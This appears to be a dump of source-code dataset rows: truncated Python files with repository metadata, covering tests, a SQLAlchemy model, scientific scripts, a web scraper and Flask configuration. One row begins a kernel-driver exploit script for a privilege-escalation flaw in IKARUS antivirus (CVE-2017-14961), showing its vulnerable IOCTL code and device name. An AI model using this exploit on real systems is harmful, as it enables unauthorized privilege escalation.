"MIT"
] | 1 | 2020-10-05T20:36:24.000Z | 2020-10-05T20:36:24.000Z | # pylint: skip-file
import unittest
import sys
import os
import datetime
from json.decoder import JSONDecodeError
from evernode.classes import Json
sys.path.append(os.path.join(os.path.dirname(__file__), os.pardir))
from tests.test_class import TestClass # noqa
class Test_Classes_Json(TestClass):
... | 29.5 | 76 | 0.664702 | 163 | 1,357 | 5.239264 | 0.331288 | 0.057377 | 0.077283 | 0.131148 | 0.126464 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219602 | 1,357 | 45 | 77 | 30.155556 | 0.806421 | 0.016212 | 0 | 0.125 | 0 | 0 | 0.068376 | 0 | 0 | 0 | 0 | 0 | 0.21875 | 1 | 0.21875 | false | 0 | 0.21875 | 0 | 0.46875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60073a0e2b47459b2a54c75afaa46b474e19267e | 1,181 | py | Python | lib/models/file.py | praecipula/fs_buddy | d3a34c815a6421db5e802ef163e54f0d99c5bc98 | [
"MIT"
] | null | null | null | lib/models/file.py | praecipula/fs_buddy | d3a34c815a6421db5e802ef163e54f0d99c5bc98 | [
"MIT"
] | null | null | null | lib/models/file.py | praecipula/fs_buddy | d3a34c815a6421db5e802ef163e54f0d99c5bc98 | [
"MIT"
] | null | null | null | import os
import sys
from sqlalchemy import Column, ForeignKey, Integer, String, DateTime
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import relationship, backref, sessionmaker
from sqlalchemy import create_engine
Base = declarative_base()
class FileLikeObject(Base):
__tablename__... | 35.787879 | 121 | 0.734124 | 149 | 1,181 | 5.657718 | 0.483221 | 0.066429 | 0.05694 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004069 | 0.167655 | 1,181 | 32 | 122 | 36.90625 | 0.85351 | 0.104996 | 0 | 0 | 0 | 0 | 0.088319 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.583333 | 0.041667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
600d91588b24e48db874a35adbdf1a86d171c018 | 3,592 | py | Python | usage_examples/CVE-2017-14961-ikarus-palettes.py | theevilbit/kex | d86e4f5cb3f539fb3b4c491cd40e419d55feb754 | [
"MIT"
] | 99 | 2017-09-19T02:09:34.000Z | 2021-04-01T06:58:47.000Z | usage_examples/CVE-2017-14961-ikarus-palettes.py | killvxk/kex | d86e4f5cb3f539fb3b4c491cd40e419d55feb754 | [
"MIT"
] | null | null | null | usage_examples/CVE-2017-14961-ikarus-palettes.py | killvxk/kex | d86e4f5cb3f539fb3b4c491cd40e419d55feb754 | [
"MIT"
] | 27 | 2017-09-19T02:09:35.000Z | 2020-10-22T13:12:54.000Z | from kex import *
from ctypes import *
from ctypes.wintypes import *
import struct, sys, os, time, platform
if __name__ == '__main__':
print "[*] IKARUS anti.virus (ntguard_x64.sys) local privilege escalation"
print "[*] CVE-2017-14961"
IOCTL_VULN = 0x8300000c
DEVICE_NAME = "\\\\.\\ntguard"
dwReturn = c_ul... | 41.767442 | 145 | 0.756403 | 504 | 3,592 | 5.117063 | 0.293651 | 0.058938 | 0.058162 | 0.042652 | 0.351687 | 0.242342 | 0.23071 | 0.124855 | 0.088406 | 0.088406 | 0 | 0.055967 | 0.134465 | 3,592 | 85 | 146 | 42.258824 | 0.773561 | 0 | 0 | 0.152778 | 0 | 0 | 0.253898 | 0.035635 | 0 | 0 | 0.01392 | 0 | 0 | 0 | null | null | 0 | 0.055556 | null | null | 0.236111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6019523a70779e41ce54422fa4d1b070aed831a1 | 2,987 | py | Python | py_wittypi_device/device.py | willdickson/py_wittypi_device | 2dc816f6d73738989cf161a9b548ac1e0e980848 | [
"MIT"
] | 1 | 2021-06-23T06:08:04.000Z | 2021-06-23T06:08:04.000Z | py_wittypi_device/device.py | willdickson/py_wittypi_device | 2dc816f6d73738989cf161a9b548ac1e0e980848 | [
"MIT"
] | null | null | null | py_wittypi_device/device.py | willdickson/py_wittypi_device | 2dc816f6d73738989cf161a9b548ac1e0e980848 | [
"MIT"
] | null | null | null | import time
import board
import numpy as np
from adafruit_bus_device.i2c_device import I2CDevice
class WittyPiDevice(I2CDevice):
DEVICE_ADDRESS = 0x69
REG_VOLT_IN_INT = 0x01
REG_VOLT_IN_DEC = 0x02
REG_VOLT_OUT_INT = 0x03
REG_VOLT_OUT_DEC = 0x04
REG_CURR_OUT_INT = 0x05
REG_CURR_OUT_DEC = 0... | 31.442105 | 79 | 0.65919 | 421 | 2,987 | 4.275534 | 0.204276 | 0.04 | 0.046667 | 0.058333 | 0.413333 | 0.413333 | 0.401111 | 0.385 | 0.385 | 0.331667 | 0 | 0.021312 | 0.198862 | 2,987 | 94 | 80 | 31.776596 | 0.730882 | 0.12387 | 0 | 0.098361 | 0 | 0 | 0.055236 | 0 | 0 | 0 | 0.012275 | 0 | 0 | 1 | 0.163934 | false | 0 | 0.065574 | 0.065574 | 0.52459 | 0.04918 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
601ac5524eac064c7c305835e495d6ee9347802d | 8,594 | py | Python | tests/test_sklearn_kneighbors.py | akshjain83/hummingbird | 72a313007e7d9f559ae2b26b0f1fb3c31495387c | [
"MIT"
] | 1 | 2021-12-30T17:04:55.000Z | 2021-12-30T17:04:55.000Z | tests/test_sklearn_kneighbors.py | Hior247/hummingbird | 2705c42585ac1d3ee69e65a93e5f59d7d42f44d5 | [
"MIT"
] | null | null | null | tests/test_sklearn_kneighbors.py | Hior247/hummingbird | 2705c42585ac1d3ee69e65a93e5f59d7d42f44d5 | [
"MIT"
] | null | null | null | """
Tests sklearn KNeighbor model (KNeighborsClassifier, KNeighborsRegressor) converters.
"""
import unittest
import warnings
import numpy as np
import torch
from sklearn.neighbors import KNeighborsClassifier, KNeighborsRegressor
from sklearn import datasets
import hummingbird.ml
class TestSklearnKNeighbors(unittes... | 40.537736 | 121 | 0.6963 | 985 | 8,594 | 5.784772 | 0.153299 | 0.135135 | 0.086522 | 0.100386 | 0.729203 | 0.634784 | 0.46683 | 0.374693 | 0.311864 | 0.311864 | 0 | 0.010939 | 0.212823 | 8,594 | 211 | 122 | 40.729858 | 0.831338 | 0.192227 | 0 | 0.410853 | 0 | 0 | 0.044789 | 0 | 0 | 0 | 0 | 0.004739 | 0.046512 | 1 | 0.209302 | false | 0 | 0.054264 | 0 | 0.271318 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
601d1acfaa0e3bc9c612d92e907931056ed052b0 | 5,452 | py | Python | WCS/bin/SM-WCS-perchip.py | rscalzo/subpipe | 641067a65810ad4acafcc75e7b09cb65712f40f1 | [
"BSD-3-Clause"
] | null | null | null | WCS/bin/SM-WCS-perchip.py | rscalzo/subpipe | 641067a65810ad4acafcc75e7b09cb65712f40f1 | [
"BSD-3-Clause"
] | null | null | null | WCS/bin/SM-WCS-perchip.py | rscalzo/subpipe | 641067a65810ad4acafcc75e7b09cb65712f40f1 | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/env python
# ============================================================================
# RS 2011/11/07: Brian's WCS Solution, Per Chip
# ----------------------------------------------------------------------------
# This script is meant to parallelize the execution of WCS.pl and updateWCS.py
# in Brian'... | 38.394366 | 107 | 0.646368 | 778 | 5,452 | 4.510283 | 0.419023 | 0.007125 | 0.017099 | 0.012539 | 0.106298 | 0.088914 | 0.088914 | 0.059846 | 0.059846 | 0.059846 | 0 | 0.021774 | 0.191306 | 5,452 | 141 | 108 | 38.666667 | 0.774098 | 0.395451 | 0 | 0.151899 | 0 | 0.025316 | 0.29581 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.101266 | null | null | 0.050633 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
601ec4bd7577983cef11aff1a3aad88a1c1d6028 | 49,304 | py | Python | indices/renko.py | xixigaga/GolemQ | 79640eaf34ab61c1591879e58c135ed2bab0c8ed | [
"MIT"
] | 76 | 2020-10-14T03:33:47.000Z | 2022-01-25T13:34:05.000Z | indices/renko.py | xixigaga/GolemQ | 79640eaf34ab61c1591879e58c135ed2bab0c8ed | [
"MIT"
] | 4 | 2020-10-15T09:23:34.000Z | 2021-07-15T04:25:00.000Z | indices/renko.py | xixigaga/GolemQ | 79640eaf34ab61c1591879e58c135ed2bab0c8ed | [
"MIT"
] | 37 | 2020-10-14T03:35:55.000Z | 2021-12-20T09:58:32.000Z | # coding:utf-8
# Author: 阿财(Rgveda@github)(4910163#qq.com)
# Created date: 2020-02-27
#
# The MIT License (MIT)
#
# Copyright (c) 2018-2020 azai/Rgveda/GolemQuant
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to d... | 47.180861 | 1,008 | 0.501217 | 5,535 | 49,304 | 4.191509 | 0.103162 | 0.073707 | 0.084052 | 0.060517 | 0.670819 | 0.61056 | 0.572888 | 0.543534 | 0.528922 | 0.498147 | 0 | 0.019641 | 0.40518 | 49,304 | 1,045 | 1,009 | 47.180861 | 0.771439 | 0.169439 | 0 | 0.508221 | 0 | 0.001495 | 0.018251 | 0.001686 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038864 | false | 0.013453 | 0.035874 | 0 | 0.109118 | 0.016442 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
601f3aaeda4dbb870ee7ecb0cc1ec3ab529ad953 | 691 | py | Python | mmpose/core/evaluation/__init__.py | chaowentao/mmpose | b528c60ef4fab56d35d1ed7e187023794639be26 | [
"Apache-2.0"
] | 15 | 2020-12-10T07:43:34.000Z | 2022-03-21T08:38:36.000Z | mmpose/core/evaluation/__init__.py | chaowentao/mmpose | b528c60ef4fab56d35d1ed7e187023794639be26 | [
"Apache-2.0"
] | null | null | null | mmpose/core/evaluation/__init__.py | chaowentao/mmpose | b528c60ef4fab56d35d1ed7e187023794639be26 | [
"Apache-2.0"
] | 10 | 2020-12-17T07:57:10.000Z | 2022-03-08T07:17:12.000Z | from .bottom_up_eval import (aggregate_results, get_group_preds,
get_multi_stage_outputs)
from .eval_hooks import DistEvalHook, EvalHook
from .mesh_eval import compute_similarity_transform
from .top_down_eval import (keypoint_auc, keypoint_epe, keypoint_pck_accuracy,
... | 46.066667 | 79 | 0.716353 | 79 | 691 | 5.683544 | 0.43038 | 0.097996 | 0.057906 | 0.071269 | 0.289532 | 0.146993 | 0.146993 | 0 | 0 | 0 | 0 | 0 | 0.205499 | 691 | 14 | 80 | 49.357143 | 0.817851 | 0 | 0 | 0 | 0 | 0 | 0.290883 | 0.137482 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.307692 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
6027e3a43a26138597f2e61cd4b29f9a9ec090d9 | 2,199 | py | Python | pandapower/pf/run_dc_pf.py | hmaschke/pandapower-1 | 2e93969050d3d468ce57f73d358e97fabc6e5141 | [
"BSD-3-Clause"
] | 2 | 2019-11-01T11:01:41.000Z | 2022-02-07T12:55:55.000Z | pandapower/pf/run_dc_pf.py | hmaschke/pandapower-1 | 2e93969050d3d468ce57f73d358e97fabc6e5141 | [
"BSD-3-Clause"
] | null | null | null | pandapower/pf/run_dc_pf.py | hmaschke/pandapower-1 | 2e93969050d3d468ce57f73d358e97fabc6e5141 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright (c) 2016-2022 by University of Kassel and Fraunhofer Institute for Energy Economics
# and Energy System Technology (IEE), Kassel. All rights reserved.
from time import perf_counter
from numpy import pi, zeros, real, bincount
from pandapower.pypower.idx_brch import PF, PT, QF, Q... | 35.467742 | 123 | 0.680764 | 312 | 2,199 | 4.666667 | 0.426282 | 0.067308 | 0.086538 | 0.049451 | 0.065934 | 0.038462 | 0.038462 | 0 | 0 | 0 | 0 | 0.012615 | 0.206912 | 2,199 | 61 | 124 | 36.04918 | 0.822248 | 0.31196 | 0 | 0 | 0 | 0 | 0.008097 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.034483 | false | 0 | 0.310345 | 0 | 0.37931 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
602a97fee1d609dd32c46f51b40526d088bee5c1 | 1,369 | py | Python | api/department/scrapers/ubc.py | ad2969/ubc-courses | 3a0360d919ec19710d1f93f134effbd79118245b | [
"MIT"
] | null | null | null | api/department/scrapers/ubc.py | ad2969/ubc-courses | 3a0360d919ec19710d1f93f134effbd79118245b | [
"MIT"
] | null | null | null | api/department/scrapers/ubc.py | ad2969/ubc-courses | 3a0360d919ec19710d1f93f134effbd79118245b | [
"MIT"
] | null | null | null | import re
import traceback
from bs4 import BeautifulSoup
from api.redis.constants.datatypes import DEPARTMENT_DATA_TYPE
from api.selenium import driver
from api.utils.url import generateUbcUrl
RE_STRING_HEADER_CLASS = re.compile("listHeader")
RE_STRING_ALLOWED_CHARACTERS = r"[^a-zA-Z0-9 ]"
def scrapeDepartmentInfor... | 34.225 | 104 | 0.638422 | 160 | 1,369 | 5.28125 | 0.54375 | 0.047337 | 0.071006 | 0.118343 | 0.145562 | 0.145562 | 0.145562 | 0.145562 | 0 | 0 | 0 | 0.005742 | 0.236669 | 1,369 | 39 | 105 | 35.102564 | 0.802871 | 0.026297 | 0 | 0 | 1 | 0 | 0.116454 | 0.021037 | 0 | 0 | 0 | 0 | 0 | 1 | 0.032258 | false | 0 | 0.193548 | 0 | 0.258065 | 0.096774 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
60376de61b1a9557beabfe99dcb54284b005f66d | 6,019 | py | Python | clodius/db_tiles.py | manzt/clodius | 399a03ea8d0ef92f37dbfe709f538dd7cdc3f7dc | [
"MIT"
] | null | null | null | clodius/db_tiles.py | manzt/clodius | 399a03ea8d0ef92f37dbfe709f538dd7cdc3f7dc | [
"MIT"
] | null | null | null | clodius/db_tiles.py | manzt/clodius | 399a03ea8d0ef92f37dbfe709f538dd7cdc3f7dc | [
"MIT"
] | null | null | null | import collections as col
import math
import sqlite3
def get_tileset_info(db_file):
conn = sqlite3.connect(db_file)
c = conn.cursor()
row = c.execute("SELECT * from tileset_info").fetchone();
if row is not None and len(row) == 9:
header = row[8]
else:
header = ""
tileset_info... | 26.283843 | 73 | 0.520851 | 797 | 6,019 | 3.685069 | 0.169385 | 0.040858 | 0.029963 | 0.020429 | 0.78856 | 0.716377 | 0.682329 | 0.590058 | 0.534219 | 0.510385 | 0 | 0.017096 | 0.368334 | 6,019 | 228 | 74 | 26.399123 | 0.755392 | 0.150523 | 0 | 0.493151 | 0 | 0 | 0.175651 | 0.021805 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027397 | false | 0 | 0.047945 | 0 | 0.10274 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
603857f23bc47ed20aef799a14d276c80decc58d | 959 | py | Python | blog/forms.py | lotfibenarab/cnldoleances | 56738eea6caa04cc77f5fefc94fc8859e83eab41 | [
"MIT"
] | null | null | null | blog/forms.py | lotfibenarab/cnldoleances | 56738eea6caa04cc77f5fefc94fc8859e83eab41 | [
"MIT"
] | 7 | 2020-02-11T21:41:18.000Z | 2022-01-13T00:33:03.000Z | blog/forms.py | lotfibenarab/cnldoleances | 56738eea6caa04cc77f5fefc94fc8859e83eab41 | [
"MIT"
] | null | null | null | from django import forms
from blog.models import Comment, Article
class CommentForm(forms.ModelForm):
class Meta:
model = Comment
def clean(self):
cleaned_data = super(ContactForm, self).clean()
fields = ('pseudo', 'email', 'contenu')
class CreerArticleForm(forms.... | 34.25 | 82 | 0.613139 | 101 | 959 | 5.732673 | 0.356436 | 0.086356 | 0.146805 | 0.189983 | 0.450777 | 0.354059 | 0.297064 | 0.297064 | 0 | 0 | 0 | 0 | 0.220021 | 959 | 27 | 83 | 35.518519 | 0.774064 | 0 | 0 | 0.105263 | 0 | 0 | 0.179185 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.105263 | false | 0 | 0.105263 | 0 | 0.421053 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
603ccbec041abf40604994f2c0095bc28aa98fd3 | 7,441 | py | Python | conf/flask.py | webclinic017/alpha-2 | ea8180691e59a6c99dbc13d1e90dd7f1de24bcd0 | [
"MIT"
] | 2 | 2020-05-17T13:30:56.000Z | 2020-09-21T07:31:02.000Z | conf/flask.py | webclinic017/alpha-2 | ea8180691e59a6c99dbc13d1e90dd7f1de24bcd0 | [
"MIT"
] | 12 | 2020-05-05T18:35:54.000Z | 2022-03-12T00:27:28.000Z | conf/flask.py | webclinic017/alpha-2 | ea8180691e59a6c99dbc13d1e90dd7f1de24bcd0 | [
"MIT"
] | 3 | 2020-05-23T01:45:44.000Z | 2021-09-24T20:20:56.000Z | #ENV
#What environment the app is running in. Flask and extensions may enable behaviors based on the environment, such as enabling debug mode.
#The env attribute maps to this config key. This is set by the FLASK_ENV environment variable and may not behave as expected if set in code.
#Do not enable development when depl... | 49.939597 | 148 | 0.79707 | 1,228 | 7,441 | 4.772801 | 0.328176 | 0.031053 | 0.00819 | 0.011602 | 0.12387 | 0.07985 | 0.069954 | 0.060058 | 0.048456 | 0.036171 | 0 | 0.006519 | 0.154818 | 7,441 | 148 | 149 | 50.277027 | 0.925425 | 0.956189 | 0 | 0 | 0 | 0 | 0.154589 | 0.154589 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6044383268e3202ae63000f98c6d47af55c69c8d | 4,109 | py | Python | mosqito/functions/loudness_ecma_spain/rectified_band_pass_signals.py | sedurCode/MoSQITo | c6cbeb0d45a8445af51935c7c6b46dd1df71f7d6 | [
"Apache-2.0"
] | null | null | null | mosqito/functions/loudness_ecma_spain/rectified_band_pass_signals.py | sedurCode/MoSQITo | c6cbeb0d45a8445af51935c7c6b46dd1df71f7d6 | [
"Apache-2.0"
] | null | null | null | mosqito/functions/loudness_ecma_spain/rectified_band_pass_signals.py | sedurCode/MoSQITo | c6cbeb0d45a8445af51935c7c6b46dd1df71f7d6 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import numpy as np
import scipy.signal as sp_signal
from mosqito.functions.loudness_ecma_spain.ear_filter_design import ear_filter_design
from mosqito.functions.loudness_ecma_spain.gen_auditory_filters_centre_freq import (
gen_auditory_filters_centre_freq,
)
from mosqito.functions.loudness... | 39.133333 | 118 | 0.666586 | 609 | 4,109 | 4.359606 | 0.343186 | 0.037288 | 0.026365 | 0.042185 | 0.189831 | 0.086629 | 0.017326 | 0 | 0 | 0 | 0 | 0.023723 | 0.261377 | 4,109 | 105 | 119 | 39.133333 | 0.851071 | 0.194451 | 0 | 0 | 0 | 0 | 0.044237 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.023256 | false | 0.069767 | 0.139535 | 0 | 0.186047 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
6056080838120dcdc95fc4570c521f3fba59a99d | 32,849 | py | Python | piped/processors/util_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | 3 | 2015-02-12T20:34:30.000Z | 2016-08-06T06:54:48.000Z | piped/processors/util_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | null | null | null | piped/processors/util_processors.py | alexbrasetvik/Piped | 0312c14d6c4c293df378c915cc9787bcc7faed36 | [
"MIT"
] | 2 | 2015-12-16T14:18:14.000Z | 2019-04-12T01:43:10.000Z | # -*- test-case-name: piped.processing.test.test_utilprocessors -*-
# Copyright (c) 2010-2011, Found IT A/S and Piped Project Contributors.
# See LICENSE for details.
""" Utility processors that are useful in many contexts. """
import collections
import copy
import logging
import pdb
import pprint
import sys
import t... | 33.587935 | 110 | 0.65241 | 3,922 | 32,849 | 5.309026 | 0.138195 | 0.03381 | 0.049179 | 0.064547 | 0.353664 | 0.285563 | 0.226587 | 0.182163 | 0.159591 | 0.144222 | 0 | 0.001179 | 0.250967 | 32,849 | 977 | 111 | 33.622313 | 0.845072 | 0.034613 | 0 | 0.285714 | 0 | 0 | 0.044915 | 0.004492 | 0 | 0 | 0 | 0.001024 | 0.003571 | 0 | null | null | 0.003571 | 0.023214 | null | null | 0.0125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
6058a934005ebff5963f3cc706cf988922d3ba1e | 895 | py | Python | src/sw/allotmentclub/printmailer.py | sweh/sw.allotmentclub.backend | 77344045e29c2b173d635e9e20a0ca556161888e | [
"ZPL-2.1"
] | 1 | 2019-11-12T08:13:18.000Z | 2019-11-12T08:13:18.000Z | src/sw/allotmentclub/printmailer.py | sweh/sw.allotmentclub.backend | 77344045e29c2b173d635e9e20a0ca556161888e | [
"ZPL-2.1"
] | 26 | 2020-05-16T12:08:25.000Z | 2022-03-12T00:53:57.000Z | src/sw/allotmentclub/printmailer.py | sweh/sw.allotmentclub.backend | 77344045e29c2b173d635e9e20a0ca556161888e | [
"ZPL-2.1"
] | null | null | null | import pyramid_mailer.interfaces
import pyramid_mailer.mailer
class PrintMailer(pyramid_mailer.mailer.Mailer):
"""
Dummy mailing instance, printing its mails to console.
"""
def send(self, message):
self._print(message)
def send_immediately(self, message, fail_silently=False):
se... | 25.571429 | 78 | 0.692737 | 103 | 895 | 5.815534 | 0.349515 | 0.110184 | 0.133556 | 0.158598 | 0.370618 | 0.36394 | 0.36394 | 0.307179 | 0.156928 | 0 | 0 | 0 | 0.212291 | 895 | 34 | 79 | 26.323529 | 0.849645 | 0.060335 | 0 | 0.238095 | 0 | 0 | 0.025485 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.095238 | 0 | 0.47619 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
605a008fe9e31390c62250814de5c4c01088f1d4 | 890 | py | Python | project euler solutions/Problem_081.py | helq/old_code | a432faf1b340cb379190a2f2b11b997b02d1cd8d | [
"CC0-1.0"
] | null | null | null | project euler solutions/Problem_081.py | helq/old_code | a432faf1b340cb379190a2f2b11b997b02d1cd8d | [
"CC0-1.0"
] | 4 | 2020-03-10T19:20:21.000Z | 2021-06-07T15:39:48.000Z | project euler solutions/Problem_081.py | helq/old_code | a432faf1b340cb379190a2f2b11b997b02d1cd8d | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
matrix = [eval( "["+x[:-2]+"]" ) for x in open("081-matrix.txt","r").readlines()]
#matrix = [[131, 673, 234, 103, 18 ],
#[201, 96, 342, 965, 150],
#[630, 803, 746, 422, 111],
#[537, 699, 497, 121, 956],
#[805, 732, 524, 37, 331]]... | 26.176471 | 81 | 0.474157 | 134 | 890 | 3.149254 | 0.447761 | 0.028436 | 0.056872 | 0.052133 | 0.056872 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172819 | 0.330337 | 890 | 33 | 82 | 26.969697 | 0.535235 | 0.205618 | 0 | 0 | 0 | 0 | 0.024286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0.05 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
605a7e5bef45b5c8dd25eafde7b392ad2f8678a7 | 1,754 | py | Python | list-generator_vs_for-cicle.py | romchegue/Python | 444476088e64d5da66cb00174f3d1d30ebbe38f6 | [
"bzip2-1.0.6"
] | null | null | null | list-generator_vs_for-cicle.py | romchegue/Python | 444476088e64d5da66cb00174f3d1d30ebbe38f6 | [
"bzip2-1.0.6"
] | null | null | null | list-generator_vs_for-cicle.py | romchegue/Python | 444476088e64d5da66cb00174f3d1d30ebbe38f6 | [
"bzip2-1.0.6"
] | null | null | null | L = [['3', 'Avaya_control_A', 'active'], ['4', 'Avaya_control_B', 'active'], ['5', 'Avaya_voice', 'active'], ['6', 'Avaya_phone', 'active'], ['60', 'MGMT_ALTF', 'active', 'Gi3/0/8,', 'Gi4/0/8'], ['78', 'UIB', 'active'], ['100', 'Video_recorder', 'active'], ['128', 'Srv_ALTF', 'active'], ['129', 'Srv_ALTF1', 'active'], ... | 83.52381 | 813 | 0.521095 | 289 | 1,754 | 3.027682 | 0.321799 | 0.054857 | 0.08 | 0.029714 | 0.171429 | 0.171429 | 0.171429 | 0.171429 | 0.171429 | 0.171429 | 0 | 0.111111 | 0.13797 | 1,754 | 20 | 814 | 87.7 | 0.467593 | 0 | 0 | 0 | 0 | 0 | 0.492044 | 0.026928 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
